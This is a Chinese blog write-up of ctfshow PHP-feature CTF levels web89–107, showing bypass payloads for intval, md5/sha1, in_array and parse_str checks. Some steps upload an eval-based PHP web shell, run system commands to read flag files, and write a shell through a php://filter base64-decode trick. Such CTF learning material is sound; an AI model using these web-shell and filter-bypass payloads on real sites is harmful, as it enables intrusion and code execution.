ctfshow web入门 php特性 web89--web107

文章详细描述了一系列Web安全挑战中,如何利用intval函数、数组、进制转换、字符串绕过、MD5特性、POST和GET参数、命令执行、命令注入等技巧,避开PHP中的参数过滤机制,实现代码执行和漏洞利用。
摘要由CSDN通过智能技术生成

web89

在这里插入图片描述看到有intval函数这里建议先观看一篇博客好绕过
https://blog.csdn.net/wangyuxiang946/article/details/131156104?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522171220387216800197044297%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%257D&request_id=171220387216800197044297&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduend~default-2-131156104-null-null.142v100pc_search_result_base9&utm_term=intval&spm=1018.2226.3001.4187
这道题过滤数字,然后我们就用数组绕过

?num[]=1

在这里插入图片描述

web90

在这里插入图片描述要num不等于4476但是经过intval之后还要等于4476
进制转换
在这里插入图片描述在这里插入图片描述

十进制字母绕过或者16/8进制绕过
?num=0x117c
?num=4476s在这里插入图片描述

web 91

在这里插入图片描述传参cmd使得只有php进入第一个if,如果只有php返回hacker
所以我们用%0a换行绕过

?cmd=%0aphp

在这里插入图片描述

web92

在这里插入图片描述这道题酷似web90
所以直接16进制绕过?num=0x117c

web93

在这里插入图片描述字母被过滤了
用八进制绕过

?num=010574

在这里插入图片描述

web94

在这里插入图片描述字母 0 都过滤了 ,那么我们用换行%0a或者%20绕过

?num=%0A010574
还有浮点数因为浮点数只保留整数
?num=4476.30

web95

在这里插入图片描述?num=%0a010574
在这里插入图片描述

web96

在这里插入图片描述这里我是用了各种通配符在那里折腾啊,结果报错警告,查了一下
$_GET[u]是弱类型比较可以在前面加路径绕过比较,但是文件还是可以正常读取

?u=./flag.php(当前目录的路径)
?u=/var/www/html/flag.php(当前网页的路径)

web97

在这里插入图片描述POST传参并且啊a!=b,但是md5编码之后又要相等
这里有一个md5特性
MD5数组的话返回的是相同的值

a[]=1&&b[]=2

用hackbarPOST传参
在这里插入图片描述

web98

在这里插入图片描述人傻了看不懂哈哈哈我三目运算不好
涉及到了一个三目运算
G E T ? _GET? GET?_GET=&$_POST:‘flag’; //如果使用GET传参,则使用POST传参来代替

G E T [ ‘ f l a g ’ ] = = ‘ f l a g ’ ? _GET[‘flag’]==‘flag’? GET[flag]==flag?_GET=&$_COOKIE:‘flag’; //如果GET传参flag的值=flag则将cookie的值代替flag中的值

G E T [ ‘ f l a g ’ ] = = ‘ f l a g ’ ? _GET[‘flag’]==‘flag’? GET[flag]==flag?_GET=&$_SERVER:‘flag’; //与上同理

G E T [ ‘ H T T P F L A G ’ ] = = ‘ f l a g ’ ? _GET[‘HTTP_FLAG’]==‘flag’? GET[HTTPFLAG]==flag?flag:FILE //如果GET传参HTTP_FLAG的值为flag则输出$flag

GET传参随便传一个
我传的a然后再POST传参HTTP_FLAG=flag

在这里插入图片描述还可以

GET随便传,然后POST     flag=flag
再cookie HTTP_FLAG=flag

web99

在这里插入图片描述for循环里面的意思是取随机数1到36之间一个数,1到37之间一个数,1到38一个数,直到1到877,然后把每次拿到的随机数追加到allow数组里面
在这里插入图片描述

in_array判断allow数组里面是否有n参数,没有type,所以可以通过这个点绕过

?n=1.php(使得等会的指令正常运行)
content=<?php eval($_POST[a]);?>传马

在这里插入图片描述进行命令执行在这里插入图片描述a=system("tac flag36d.php");
在这里插入图片描述

web100

在这里插入图片描述v2不能有分号v3必须有分号,而且flag在class ctfshow里面
v0那一行:赋值的优先级要高于and
v1=(随便什么数字就行) v2=echo new ReflectionClass v3=;

?v1=1&&v2=echo new ReflectionClass&&v3=;

在这里插入图片描述并没有直接给我们这个flag 0x2d是 - 进行替换

81515eb80x2de8ba0x2d413e0x2da3240x2dbdfdb829b87c
81515eb8-e8ba-413e-a324-bdfdb829b87c
ctfshow{81515eb8-e8ba-413e-a324-bdfdb829b87c}

web101

在这里插入图片描述不影响

?v1=1&&v2=echo new ReflectionClass&&v3=;

在这里插入图片描述

8d0344a40x2d80cd0x2d4d8e0x2d87620x2dc00d7955296
8d0344a4-80cd-4d8e-8762-c00d7955296
ctfshow{8d0344a4-80cd-4d8e-8762-c00d7955296}

但是交不上去,后面发现少一位,需要我们自己爆破
一位一位试试呗十六进制的从1试到f

web102

在这里插入图片描述v2必须全为数字
v1 为POST传参 v2和v3是GET

substr截取函数   从下标为2的位置截取到后面(后面构造的时候补两位数字)

call_user_func回调函数:调用v1函数,参数是$s
file_put_content将v3写入

所以我们v3写1.php的时候用伪协议写入然后v2就写命令
只不过要进行转换

<?=`cat *`; base64加密后是PD89YGNhdCAqYDs,

16进制编码之后是5044383959474e6864434171594473(还要补两位)

HEX2BIN函数将十六进制数转换为二进制数。

GET?v2=335044383959474e6864434171594473&&v3=php://filter/write=convert.base64-decode/resource=1.php
POST:  v1=hex2bin

然后访问1.php,查看源码
在这里插入图片描述

web103

在这里插入图片描述

有过滤但是刚才那个payload还是可以用

GET?v2=335044383959474e6864434171594473&&v3=php://filter/write=convert.base64-decode/resource=1.php
POST:  v1=hex2bin

然后访问1.php
在这里插入图片描述

web104

在这里插入图片描述
直接传就行,没说v1!=v2
在这里插入图片描述

web105

在这里插入图片描述这道题代码有点绕就是原理为下

GET传参和POST传参然后检查其中的键值对
键值对是什么,例子:?a=flag&b=index
那么就是a-->flag     b-->index

为了绕过(不进入所有if)

然后呢有个比较迷路的部分就是$$key=$$value;,其实是什么用都没有因为因为$a 和$flag都没有定义所以根本不能二重赋值
还有这句

if(!($_POST['flag']==$flag)){
    die($error);
} 
它首先检查是否存在 $_POST['flag'],也就是POST请求中是否有键为 'flag' 的参数。
然后,它比较 $_POST['flag'] 的值与之前加载的 flag.php 文件中定义的 $flag 变量的值是否相等。
如果这两个值不相等(即 !($_POST['flag']==$flag) 为真),则执行 die($error); 语句,终止脚本执行,并输出 $error 变量的值作为错误信息。

我们不知道flag的值所以不能把键弄成flag

GET:       a=flag
POST:     error=a

在这里插入图片描述

web106

在这里插入图片描述数组sha1无法识别(MD5类似),随便填这两个数只要不一样就成

GET :v2[]=1
POST :v1[]=100

在这里插入图片描述

web107

在这里插入图片描述

parse_str($v1,$v2); //把v1的值相应的换成键值对再存入v2
例如:v1=flag=114 那么v2=flag并且值为114(键为flag值为114)
v1=flag=114&index=300的话,
v2就变成一个数组,内容为flag-->114      index-->300(分为这两个键值对)

回到题目我们传v3的时候随便传一个值再进行MD5加密(32位小)
再传v1=flag相应的MD5值就可以

GET:   v3=1
POST:   v1=flag=c4ca4238a0b923820dcc509a6f75849b
  • 30
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值